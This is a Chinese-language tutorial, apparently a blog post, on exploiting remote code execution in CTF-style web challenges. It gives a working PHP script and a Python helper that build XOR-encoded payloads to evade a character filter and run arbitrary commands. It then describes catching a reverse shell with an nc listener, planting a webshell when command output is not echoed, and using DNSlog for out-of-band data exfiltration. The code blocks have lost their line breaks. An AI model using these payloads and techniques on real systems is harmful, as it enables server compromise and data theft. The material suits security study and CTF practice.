前言
了解了漏洞的原理之后就需要知道 他在哪能出现 并且被利用 这个还是很重要的
异或测试
使用异或(XOR)运算进行加密解密的原理_异或加密-CSDN博客
异或测试是在 白盒内执行的 一个例题看一下
输入什么都是会报错
这种情况就需要使用 异或计算或者或运算进行绕过 脚本:
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
运行之后会生成一个 文件
import requests
import urllib
from sys import *
import osdef action(arg):s1 = ""s2 = ""for i in arg:f = open("res.txt", "r")while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"^\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"print(param)
之后运行这个 就会出现询问
把上边这个异或计算的值拿出来直接 放到参数里
就能执行命令了
黑盒测试
RCE的黑盒出现在哪里啊?记住原理用户的输入别当做恶意代码执行 找有输入的地方但是 有输入怎么可能让你调用这个呀 那不就是相关的工具嘛 找一下(一般这类工具都是在沙盒里的)
JSLinux
可以查看相关的配置文件 这些配置文件就是它本身的
弹个shell试一下 构造shell
[~]#棱角 ::Edge.Forum*
本地服务器监听 nc -lvvp 66 不就可以拿到shell了呀 但是一般的这个linux工具给你使用都会给这个命令禁 或者直接把命令文件删除
无回显问题
1、命令执行写的 网站服务器的其他的文本下边
2、带外
演示: shell_exec 需要输出才能回显数据
1、
写个文件
写个木马 访问连接上去不就又是一个思路了嘛
2、带外
使用DNSlog
获取ip
数据带外 (因为我只是localhost 是带不出来的 如果想带外就需要自己搭建个本地网站)